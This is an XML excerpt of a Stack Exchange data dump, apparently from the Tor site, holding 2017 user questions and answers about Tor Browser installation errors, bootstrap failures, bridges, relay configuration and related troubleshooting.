  <row Id="15636" PostTypeId="1" CreationDate="2017-09-04T23:30:25.113" Score="1" ViewCount="151" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eXtC6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eXtC6.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Every time I try to download Tor, an error message pops up.&lt;/p&gt;&#xA;" OwnerUserId="19005" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2017-09-05T06:51:35.660" Title="Why cant i download tor? It stops half way through and says error" Tags="|tor-install|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15637" PostTypeId="2" ParentId="15636" CreationDate="2017-09-05T06:51:35.660" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Make sure the partition you're installing tor into isn't full.&lt;/li&gt;&#xA;&lt;li&gt;Also make sure that you have administrative access or you've permission to write files into that partition.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18731" LastActivityDate="2017-09-05T06:51:35.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15639" PostTypeId="2" ParentId="15627" CreationDate="2017-09-05T10:09:59.457" Score="0" Body="&lt;p&gt;Interestingly or not, I found another post here about Trusteer Rapport Endpoint protection. I had it installed and long before I ever installed the Tor browser. It makes no sense because it was installed before I downloaded Tor, and Tor worked fine but stopped working and I didn't update Tor or Rapport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I just uninstalled Rapport and now Tor is working fine.&lt;/p&gt;&#xA;" OwnerUserId="18992" LastActivityDate="2017-09-05T10:09:59.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15642" PostTypeId="2" ParentId="15624" CreationDate="2017-09-05T16:46:23.350" Score="0" Body="&lt;p&gt;It was a bug.&#xA;The new Tor Browser update has resolved the problem.&lt;/p&gt;&#xA;" OwnerUserId="12625" LastActivityDate="2017-09-05T16:46:23.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15645" PostTypeId="1" CreationDate="2017-09-06T06:53:03.937" Score="0" ViewCount="549" Body="&lt;p&gt;05/09/2017 14:45:57 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;05/09/2017 14:45:57 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;05/09/2017 14:45:57 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;05/09/2017 14:45:57 PM.800 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;05/09/2017 14:45:57 PM.800 [NOTICE] Bootstrapped 45%: Asking for relay descriptors &#xA;05/09/2017 14:46:18 PM.700 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors. (Connection timed out [WSAETIMEDOUT ]; TIMEOUT; count 10; recommendation warn; host 230A8B2A8BA861210D9B4BA97745AEC217A94207 at 163.172.176.167:443) &#xA;05/09/2017 14:46:18 PM.700 [WARN] 9 connections have failed: &#xA;05/09/2017 14:46:18 PM.700 [WARN]  9 connections died in state connect()ing with SSL state (No SSL object) &#xA;05/09/2017 14:46:24 PM.600 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors. (Connection timed out [WSAETIMEDOUT ]; TIMEOUT; count 11; recommendation warn; host 92ECC9E0E2AF81BB954719B189AC362E254AD4A5 at 91.219.237.244:443) &#xA;05/09/2017 14:46:24 PM.600 [WARN] 10 connections have failed: &#xA;05/09/2017 14:46:24 PM.600 [WARN]  10 connections died in state connect()ing with SSL state (No SSL object) &#xA;05/09/2017 14:46:24 PM.600 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors. (Connection timed out [WSAETIMEDOUT ]; TIMEOUT; count 12; recommendation warn; host B0553175AADB0501E5A61FC61CEA3970BE130FF2 at 5.9.147.226:9001) &#xA;05/09/2017 14:46:24 PM.600 [WARN] 11 connections have failed: &#xA;05/09/2017 14:46:24 PM.600 [WARN]  11 connections died in state connect()ing with SSL state (No SSL object) &#xA;05/09/2017 14:46:24 PM.600 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors. (Connection timed out [WSAETIMEDOUT ]; TIMEOUT; count 13; recommendation warn; host 6EF897645B79B6CB35E853B32506375014DE3621 at 80.127.137.19:443) &#xA;05/09/2017 14:46:24 PM.600 [WARN] 12 connections have failed: &#xA;05/09/2017 14:46:24 PM.600 [WARN]  12 connections died in state connect()ing with SSL state (No SSL object) &#xA;05/09/2017 14:46:24 PM.800 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;05/09/2017 14:46:24 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;05/09/2017 14:46:24 PM.800 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;05/09/2017 14:46:24 PM.800 [NOTICE] Delaying directory fetches: DisableNetwork is set. &lt;/p&gt;&#xA;" OwnerUserId="19010" LastActivityDate="2017-09-07T02:43:37.457" Title="i can't connect to tor newtork" Tags="|network-configuration|" AnswerCount="1" CommentCount="0" ClosedDate="2017-09-11T20:13:23.533" ContentLicense="CC BY-SA 3.0" />
  <row Id="15648" PostTypeId="2" ParentId="15645" CreationDate="2017-09-07T02:43:37.457" Score="0" Body="&lt;p&gt;Same thing here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/6/2017 22:36:20 PM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;9/6/2017 22:36:20 PM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;9/6/2017 22:36:20 PM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;9/6/2017 22:36:20 PM.100 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;9/6/2017 22:36:20 PM.900 [NOTICE] Bootstrapped 80%: Connecting to the Tor network &#xA;9/6/2017 22:38:09 PM.400 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;9/6/2017 22:38:09 PM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;9/6/2017 22:38:09 PM.400 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;9/6/2017 22:38:09 PM.900 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;9/6/2017 22:38:14 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;9/6/2017 22:38:14 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;9/6/2017 22:38:14 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;9/6/2017 22:38:14 PM.800 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;9/6/2017 22:38:49 PM.900 [WARN] Problem bootstrapping. Stuck at 80%: Connecting to the Tor network. (Connection timed out [WSAETIMEDOUT ]; TIMEOUT; count 10; recommendation warn; host FBD20387F64D67ED53AC5BD2E0302D44B2DA360C at 192.99.57.111:9001) &#xA;9/6/2017 22:38:49 PM.900 [WARN] 14 connections have failed: &#xA;9/6/2017 22:38:49 PM.900 [WARN]  14 connections died in state connect()ing with SSL state (No SSL object) &#xA;9/6/2017 22:38:59 PM.800 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;9/6/2017 22:38:59 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;9/6/2017 22:38:59 PM.800 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;9/6/2017 22:38:59 PM.800 [NOTICE] Delaying directory fetches: DisableNetwork is set. &lt;/p&gt;&#xA;" OwnerUserId="19027" LastActivityDate="2017-09-07T02:43:37.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15651" PostTypeId="1" CreationDate="2017-09-07T11:54:59.423" Score="1" ViewCount="93" Body="&lt;p&gt;For testing reasons, I have to run tor without torbrowser bundle on windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1) Open cmd prompt windows&#xA;2) chdir to the directory where tor.exe is&#xA;3) Execute cmd line: tor.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I start Firefox, and edit the proxy settings to 127.0.0.1 and port 9050, I am able to surf internet, but I don't know why I can't access to .onion sites (hidden services). But if I start the tor browser bundle, I can do it. What can I do?&lt;/p&gt;&#xA;" OwnerUserId="19012" LastActivityDate="2017-09-07T11:54:59.423" Title="Tor doesn't allow hidden services" Tags="|tor-browser-bundle|configuration|windows|firefox|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15652" PostTypeId="2" ParentId="6587" CreationDate="2017-09-07T16:05:47.087" Score="1" Body="&lt;p&gt;I was too having the same issue I found my issue was Webroot SecureAnywhere. I just had to disable it while I was using Tor.&lt;/p&gt;&#xA;" OwnerUserId="19033" LastActivityDate="2017-09-07T16:05:47.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15653" PostTypeId="1" CreationDate="2017-09-07T18:41:01.137" Score="2" ViewCount="2167" Body="&lt;p&gt;I would really like to know why Tor does not pre-include add-ons such as Privacy Badger or Disconnect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your time!&lt;/p&gt;&#xA;" OwnerUserId="19034" LastActivityDate="2017-09-23T00:08:21.507" Title="Why does Tor not pre-include Privacy Badger or Disconnect add-ons?" Tags="|anonymity|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15655" PostTypeId="2" ParentId="15653" CreationDate="2017-09-08T01:29:26.320" Score="3" Body="&lt;p&gt;Adding plugins almost always creates as many issues at it solves (assuming those things needed solving in the first place).&lt;/p&gt;&#xA;&lt;p&gt;While I wasn't able to locate anything on Disconnect, I remembered that Privacy Badger had a bit of push a few years ago. A bit of Googling revealed tickets that list integration of Privacy Badger as a &amp;quot;won't fix&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/12958&quot; rel=&quot;nofollow noreferrer&quot;&gt;This ticket&lt;/a&gt; specifically lists:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;They were working on a cookie patch that made at least some of what Privacy Badger does extraneous.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Since Privacy Badger builds a dynamic block list over time, this is potentially unique enough for malicious scripts to fingerprint individual users.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/16878&quot; rel=&quot;nofollow noreferrer&quot;&gt;A later ticket&lt;/a&gt; is clearer about the whole cookie thing:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;It is useless in TBB due to these reasons:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;TBB runs in private mode, and extensions don't have access to cookies in this mode.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;TBB blocks 3rd-party cookies by default.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3027" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2017-09-08T01:29:26.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15659" PostTypeId="1" CreationDate="2017-09-08T22:57:40.270" Score="1" ViewCount="142" Body="&lt;p&gt;Every time I open TorBrowser on my new 2017 Macbook, it says &quot;Tor unexpectedly exited. This might be due to a bug in Tor itself, another program on your system, or faulty hardware. Until you restart Tor, the Tor Browser will not be able to reach any websites. If the problem persists, please send a copy of your Tor Log to the support team.&quot; When I try to restart it, it shows the same result. I tried to delete the TorBrowser data in Application Support but that does nothing. I tried to reinstall Tor in a different area other than Applications but that doesn't help. I can't copy a log to the clipboard because there are no logs. What could be the problem??&lt;/p&gt;&#xA;" OwnerUserId="19035" LastActivityDate="2017-09-08T23:05:21.463" Title="Can't even open TorBrowser?" Tags="|mac|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15664" PostTypeId="5" CreationDate="2017-09-09T14:35:20.360" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2017-09-09T14:35:20.360" LastActivityDate="2017-09-09T14:35:20.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15665" PostTypeId="4" CreationDate="2017-09-09T14:35:20.360" Score="0" Body="Use for website guidance" OwnerUserId="19057" LastEditorUserId="19057" LastEditDate="2017-09-21T12:31:38.903" LastActivityDate="2017-09-21T12:31:38.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15670" PostTypeId="1" CreationDate="2017-09-10T12:14:01.490" Score="1" ViewCount="1870" Body="&lt;p&gt;I decide to try orbot in a heavily censored environment and can't get it to work. ppl suggests try to put a few bridges in the setting menu. I tried a few obfs3 and obfs4 bridges, and it doesn't help, either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I heard meek seems to work when other bridges fail, but orbot seems to be different from conventional TBB on a desktop computer, I can't find any options that mention meek bridge in my orbot setting, and bridges.torproject.org doesn't seem to offer any meek bridges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, does orbot support meek based connecion yet?&lt;/p&gt;&#xA;" OwnerUserId="17930" LastActivityDate="2017-09-11T06:21:35.603" Title="Is it possible to use meek bridges in orbot?" Tags="|bridge|orbot|censorship|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15671" PostTypeId="1" CreationDate="2017-09-10T13:53:22.383" Score="0" ViewCount="3196" Body="&lt;p&gt;I have a question and I also have a doubt why I can't connect to deep web it loads then shows this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/VPDGv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VPDGv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And should I worry about maybe some malware could have been injected to my computer or accessed my files because I did this on safari without any VPN or proxy.&lt;/p&gt;&#xA;" OwnerDisplayName="user19064" LastActivityDate="2022-12-10T03:37:29.393" Title="Why can't I connect to an .onion site on safari?" Tags="|onion-routing|mac|safari|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15672" PostTypeId="2" ParentId="15671" CreationDate="2017-09-10T16:40:59.753" Score="0" Body="&lt;p&gt;Usually this error message means that something is wrong with the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;acording to this site:&#xA;&lt;a href=&quot;https://www.toxigon.com/websites-like-tor2web-faster/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.toxigon.com/websites-like-tor2web-faster/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19068" LastActivityDate="2017-09-10T16:40:59.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15674" PostTypeId="2" ParentId="733" CreationDate="2017-09-10T20:05:36.333" Score="3" Body="&lt;p&gt;On Windows&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Right-click the Tor icon. It's a purple-and-green globe icon that you'll either find on your desktop or in the Start menu.&lt;br /&gt;&#xA;    If you haven't done so yet, first run Tor so that the appropriate folder is established. Otherwise, you won't be able to set a specific country.&lt;/li&gt;&#xA;&lt;li&gt;Click Open file location. You'll see this option near the top of the drop-down menu.&lt;/li&gt;&#xA;&lt;li&gt;Double-click the &quot;TorBrowser&quot; folder. Doing so will open it.&lt;/li&gt;&#xA;&lt;li&gt;Double-click the &quot;Data&quot; folder.&lt;/li&gt;&#xA;&lt;li&gt;Double-click the &quot;Tor&quot; folder.&lt;/li&gt;&#xA;&lt;li&gt;Double-click the &quot;torrc&quot; file. This will open the &quot;Open with&quot; window.&lt;/li&gt;&#xA;&lt;li&gt;Click Notepad, then click OK. Doing so will open the &quot;torrc&quot; file as a text document, allowing you to edit it.&lt;/li&gt;&#xA;&lt;li&gt;Locate the &quot;ExitNodes&quot; line. It should be near the bottom of the text on this page. You'll see something like &quot;{us}&quot; to the right of the &quot;ExitNodes&quot; phrase.&#xA;    If you don't see this line of text, copy ExitNodes {} StrictNodes 1 into the file.&lt;/li&gt;&#xA;&lt;li&gt;Change the value in the bracket to match your preferred country. You can view a comprehensive list of supported countries beneath the &quot;List of country codes for Tor&quot; heading here: &lt;a href=&quot;http://www.b3rn3d.com/blog/2014/03/05/tor-country-codes/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.b3rn3d.com/blog/2014/03/05/tor-country-codes/&lt;/a&gt;&#xA;    For example, you would change &quot;{us}&quot; to &quot;{ug}&quot; to transfer your preferred country from the United States to Uganda.&lt;/li&gt;&#xA;&lt;li&gt;Click File. It's in the top-left corner of the Notepad window.&lt;/li&gt;&#xA;&lt;li&gt;Click Save As. You'll see this option near the top of the drop-down menu. Since Notepad saves documents as text files automatically, you must use the Save As option to save your updated country file as a Tor file.&lt;/li&gt;&#xA;&lt;li&gt;Click the &quot;Save as type&quot; box. By default, the box here will say &quot;Text Documents (*.txt)&quot;. Clicking it will invoke a drop-down menu.&lt;/li&gt;&#xA;&lt;li&gt;Click All Files. It's in the drop-down menu. After doing so, you'll see a list of the &quot;Tor&quot; folder's contents appear in the Save As window.&lt;/li&gt;&#xA;&lt;li&gt;Click the &quot;torrc&quot; file. You'll find it in the Save As window. This will select &quot;torrc&quot; as the file to replace with your updated file.&lt;/li&gt;&#xA;&lt;li&gt;Click Save. It's at the bottom of the Save As window.&lt;/li&gt;&#xA;&lt;li&gt;Click Yes when prompted. This will replace the &quot;torrc&quot; file with your new one, thereby saving your country settings.&lt;/li&gt;&#xA;&lt;li&gt;Open Tor. Doing so will take a minute, since Tor will need to connect with your new country's servers. After it connects, your country settings will be active.&#xA;    You can double-check this by going to Google, clicking the onion icon in the top-left corner of the browser, and looking at the country name above the &quot;Internet&quot; value here.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="19048" LastEditorUserId="88" LastEditDate="2017-09-23T14:04:21.710" LastActivityDate="2017-09-23T14:04:21.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15676" PostTypeId="1" CreationDate="2017-09-11T04:08:37.787" Score="0" ViewCount="165" Body="&lt;p&gt;Is it safe to run two ricochet instances on the same system; side-by-side? Is there anything that might conflict (listening ports, etc) that could cause issues? Would you recommend against it for any reason?&lt;/p&gt;&#xA;" OwnerUserId="19075" LastActivityDate="2017-10-12T10:40:50.683" Title="Using Ricochet concurrently?" Tags="|configuration|onion-services|onion-routing|ricochet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15677" PostTypeId="2" ParentId="15670" CreationDate="2017-09-11T06:21:35.603" Score="2" Body="&lt;p&gt;Yes, Orbot supports meek, specifically &lt;code&gt;meek-lite&lt;/code&gt; provided by the &lt;code&gt;obfs4proxy&lt;/code&gt; binary that's shipped with Orbot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you enable bridges (swipe in left, and toggle the 'Bridges' slider to on) it will give you the option to &lt;em&gt;'Tunnel through Azure'&lt;/em&gt; or &lt;em&gt;'Tunnel through Amazon'&lt;/em&gt;. Choosing one of these options configures it to use the Amazon or Azure meek bridge.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-09-11T06:21:35.603" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15680" PostTypeId="1" CreationDate="2017-09-11T18:57:18.253" Score="0" ViewCount="18450" Body="&lt;p&gt;I have been using TOR with no issue but with the last update I have lost the ability to access it on any of my systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every time I open TorBrowser on my systems running Win 10, it says &quot;Tor unexpectedly exited. This might be due to a bug in Tor itself, another program on your system, or faulty hardware. Until you restart Tor, the Tor Browser will not be able to reach any websites. If the problem persists, please send a copy of your Tor Log to the support team.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to restart it, it shows the same result. I tried to delete the TorBrowser data in Application Support but that does nothing. I tried to reinstall Tor in a different area other than Applications but that doesn't help. I can't copy a log to the clipboard because there are no logs therefore nothing to send to support team.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen this question has been asked by several, both Win and Mac users, and either has no answer or the ones given are such gibberish as to be completely useless.&lt;br&gt;&#xA;Does anyone have a clue as to an answer?&lt;/p&gt;&#xA;" OwnerUserId="19084" LastActivityDate="2018-09-14T20:12:58.590" Title="&quot;Tor unexpectedly exited&quot; Familiar message to many but no actual answers that I can find" Tags="|tor-browser-bundle|windows|help|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15682" PostTypeId="2" ParentId="15676" CreationDate="2017-09-11T22:07:54.307" Score="1" Body="&lt;p&gt;Maybe under certain circumstance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There shouldn't be port conflicts, by default Ricochet binds to a random high numbered port for it's listening address, the Tor &lt;code&gt;SOCKSPort&lt;/code&gt; and &lt;code&gt;ControlPort&lt;/code&gt; which should stop conflicts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing that might result in conflicts is two ricochet instances trying to use the same directory to store their configuration/keys/contacts. To avoid this you can launch ricochet with an explicitly directory path to use, e.g. &lt;code&gt;ricochet /path/to/config_a&lt;/code&gt; and &lt;code&gt;ricochet /path/to/config_b&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other things to consider are the usual problems of running two identities from a single system, e.g. if there is a power outage or an internet outage or your system crashes then both identities will go offline at the same time and potentially be linked by an entity with visibility of both.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-09-11T22:07:54.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15683" PostTypeId="1" AcceptedAnswerId="15695" CreationDate="2017-09-11T23:06:35.057" Score="0" ViewCount="810" Body="&lt;p&gt;First of all I use Tor a lot (as a user) and feel I should contribute to it if I can. To that end, I recently installed tor (from git) and point my firefox proxy settings to SOCKS and 127.0.0.1 9050 and the &quot;check if using Tor&quot; page says congrats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I would like to be an exit relay. Up front, I know almost nothing about networking, the internet, etc. so please provide details if you volunteer help. My /usr/local/etc/tor/torrc file is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ControlPort 9051&#xA; CookieAuthentication 1&#xA; ORPort 9001&#xA; Nickname ********&#xA; RelayBandwidthRate 100 KB  # Throttle traffic to 100KB/s (800Kbps)&#xA; RelayBandwidthBurst 200 KB # But allow bursts up to 200KB/s (1600Kbps)&#xA; DirPort 9030 # what port to advertise for directory connections&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've seen some solutions using dnsexit or tor-fw-helper, but this is certainly not in my wheelhouse and those helps do not provide enough details. Can anyone help me to get this running?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on Linux Mint 18.2 and using a wifi router WNDR3800 Netgear (though I'd plug in a LAN cable if it helped). I'm also with MyCharter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I've waited a while and now the warning seems to have concluded wtih;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sep 11 17:33:01.000 [warn] Your server (72.174.26.72:8999) has not managed to confirm that its ORPort is reachable. Relays do not publish descriptors until their ORPort and DirPort are reachable. Please check your firewalls, ports, address, /etc/hosts file, etc.&#xA;Sep 11 17:33:01.000 [warn] Your server (72.174.26.72:9030) has not managed to confirm that its DirPort is reachable. Relays do not publish descriptors until their ORPort and DirPort are reachable. Please check your firewalls, ports, address, /etc/hosts file, etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PPS. Different OS and no solution: &lt;a href=&quot;https://tor.stackexchange.com/questions/3240/setting-up-tor-relay-and-port-reachability-test-failed-error-message?rq=1&quot;&gt;Setting up Tor relay and port reachability test failed error message&lt;/a&gt; Also, similar reasons for this not helping me &lt;a href=&quot;https://tor.stackexchange.com/questions/4325/port-reachability-test-failed-detailed-info?rq=1&quot;&gt;Port Reachability Test Failed _ detailed info&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10230" LastEditorUserId="10230" LastEditDate="2017-09-12T01:25:04.293" LastActivityDate="2017-09-12T14:11:30.150" Title="YATQ - Yet Another Tor Question - ORPort not reachable" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15686" PostTypeId="1" CreationDate="2017-09-12T06:13:35.657" Score="1" ViewCount="1144" Body="&lt;p&gt;I used the firefox add-on &quot;Export Import Cookies&quot; to import cookies and logs into email accounts like gmail and yahoo with Tor Browser 6.5 successfully, but that does not work in Tor Browser 7.05. In Tor Browser 7.05 I tried the &quot;cookie Wizard with Witelist&quot; add-on for import cookies and although cookies are imported, websites behave as if cookies do not exist and I can not get into my email accounts. I can not use a phone number to login because that breaks my anonymity. I need to import some cookies to enter the email accounts using different IPs because without those cookies the security of the email prevents the login if the IP is not the same used in the creation of the account. I do not understand why cookies are successfully imported by the &quot;Cookie Wizard with Whitelist&quot; but Tor Browser and the sites behave as if cookies were never imported. I can see imported cookies in &quot;preferences&gt; privacy&gt; Show Cookies,&quot; but the sites can not find them. I tested the same add-on on firefox-esr 52.3.0, which is the basis of Tor Browser 7.05, and I was able to import cookies and log in to email accounts normally. Can anyone tell me how to import cookies using Tor Browser 7.0.5? Does anyone have any other ideas on how to access yahoo and gmail email accounts using Tor Browser?&#xA;Thanks any ideas.&#xA;Sorry about the bad english.&lt;/p&gt;&#xA;" OwnerUserId="19090" LastActivityDate="2018-01-04T12:00:41.093" Title="Gmail and Yahoo access using Tor" Tags="|configuration|anonymity|email|" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="15687" PostTypeId="1" CreationDate="2017-09-12T08:06:20.540" Score="1" ViewCount="3798" Body="&lt;p&gt;I just noticed that there is a torrc process running on my Ubuntu machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm seeing this when I do a ps.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;debian-+  1260  0.3  0.7  76064 31384 ?        Ss   03:46   0:00&#xA;  /usr/bin/tor --defaults-torrc /usr/share/tor/tor-service-defaults-torrc -f&#xA;  /etc/tor/torrc --RunAsDaemon 0&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It starts at boot, and if I kill it it restarts. Is there a relay running on my machine? If so, how do I stop it? I can't spare the bandwidth.&lt;/p&gt;&#xA;" OwnerUserId="19091" LastActivityDate="2020-08-28T20:05:55.620" Title="Why is there a torrc process running on my Ubuntu machine?" Tags="|configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15689" PostTypeId="2" ParentId="15133" CreationDate="2017-09-12T09:56:18.783" Score="1" Body="&lt;p&gt;Set the time zone to London and change time to London time. You can update the time first when you connect to the wireless internet (not yet configuring tor), once that is done you can connect without any problem. If there are problems, try -1 hour or +1 hour to account for daylight savings depending on your area. Mine was -1 and worked well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also edit the &lt;code&gt;iat-mode=0&lt;/code&gt; to &lt;code&gt;iat-mode=1&lt;/code&gt; or &lt;code&gt;iat-mode=2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck. &lt;/p&gt;&#xA;" OwnerUserId="6657" LastEditorUserId="6657" LastEditDate="2017-09-14T10:15:00.497" LastActivityDate="2017-09-14T10:15:00.497" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15690" PostTypeId="2" ParentId="14072" CreationDate="2017-09-12T09:58:59.570" Score="0" Body="&lt;p&gt;Set the time zone to London and change time to London time. You can update the time first when you connect to the wireless internet (not yet configuring tor), once that is done you can connect without any problem. If there are problems, try -1 hour or +1 hour to account for daylight savings depending on your area. Mine was -1 and worked well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also edit the &lt;code&gt;iat-mode=0&lt;/code&gt; to &lt;code&gt;iat-mode=1&lt;/code&gt; or &lt;code&gt;iat-mode=2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck. &lt;/p&gt;&#xA;" OwnerUserId="6657" LastEditorUserId="6657" LastEditDate="2017-09-14T10:15:25.923" LastActivityDate="2017-09-14T10:15:25.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
